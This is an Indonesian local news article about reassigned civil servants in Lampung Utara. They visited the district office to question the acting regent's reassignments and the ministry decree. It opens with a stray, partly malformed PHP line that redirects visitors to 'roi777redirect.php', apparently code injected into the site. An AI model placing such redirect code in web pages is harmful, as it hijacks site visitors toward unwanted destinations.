header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Tanya Kejelasan SK Mendagri, Puluhan pejabat Yang Kena Mutasi Ngeluruk Ke Kantor Pemda Lampura -
Tanya Kejelasan SK Mendagri,  Puluhan pejabat Yang Kena Mutasi Ngeluruk Ke Kantor Pemda Lampura

TRANSLAMPUNG.COM

KOTABUMI – Puluhan Aparatur Sipil Negara (ASN)  Kabupaten Lampung Utara,  Yang terkena mutasi jabatan oleh Plt Bupati H Sri Widodo pada hari Rabu (21/3) Kemarin,  Ngeluruk ke Kantor Pemda setempat,Selasa (3/4)

Kedatangan sejumlah ASN tersebut guna mempertanyakan kejelasan status jabatan mereka yang selama ini masih menimbulkan polemik di instansi masing-masing. Selain itu, mereka juga mempertanyakan kejelasan Surat Keputusan Kementerian Dalam Negeri terkait dengan kebijakan Plt. Bupati Lampura melakukan mutasi jabatan.

” Kedatangan kami disini bukan demo atau aksi,  tapi kedatangan kami kesini adalah sebagai anak yang ingin mengadukan nasib terhadap bapaknya,  Yaitu Plt Bupati Sri Widodo,” Ucap Syahbudin

Sebenarnya kedatangan kami kesini kami ingin audensi bersama Bapak Plt Bupati Sri Widodo, Dengan maksud mengahadap antara anak buah dengan pimpinan, Jadi ini bukan demo, Kami ingin menanyakan bagaimana status kami Yang belum jelas, Namun ini tetap jalan terus, Ini yang ingin kami pertanyakan,

Namun Pak Plt belum ada,  Dan pak Sekda juga tidak ada,  Yang ada hanya Asistrn III,  Namun saat ditanya,  Asiaten III belum ada petunjuk, Jadi kerena tidak ada yang dapat kami temui, Dan tidak ada tempat untuk disampaikan, Maka kami sepakat membuat pernyataan sikap. Ucap Syahbudin

Ditambahkan Gunaido Uthama, Saya mewakili rekan rekan Camat  bahwa sampai saat ini jabatan para penjabat di lingkup Pemkab. Lampura yang terkena mutasi jabatan, baik rolling maupun nonjob, secara hukum masih sah.

“Jabatan yang disandang oleh para penjabat yang terkena mutasi itu masih sah secara hukum karena mereka dilantik oleh Bupati Definitif. SK yang disandang adalah SK negara,” ujar Gunaido Uthama.

Pada prinsipnya mutasi jabatan adalah hal biasa dalam suatu struktur organisasi pemerintahan guna menunjang pelayanan dan administrasi tatakelola pemerintahan yang ada. “Tapi, harus disesuaikan dengan mekanisme dan peraturan yang berlaku,” terangnya

Dikatakannya, sebagai ASN yang memiliki jabatan ada dua hal yang dijadikan acuan dalam menjalankan tupoksi masing-masing, yakni taat dan loyal terhadap pimpinan serta mematuhi peraturan perundang-undangan yang berlaku.

“Jabatan merupakan amanah. Kepercayaan yang diberikan Pimpinan kepada kami selaku ASN bukan merupakan hak mutlak kepada kami. Tapi, disatu sisi ada aturan yang harus dijunjung tinggi dan ditegakkan,” papar Gunaido.

Disampaikannya bahwa seluruh ASN yang terkena mutasi, baik itu yang bersifat rolling maupun yang terkena nonjob akan terus berusaha meminta kepastian hukum dan  tidak akan berhenti sampai ada keputusan dari Kemendagri. Pungkasnya (Eka)

News Reporter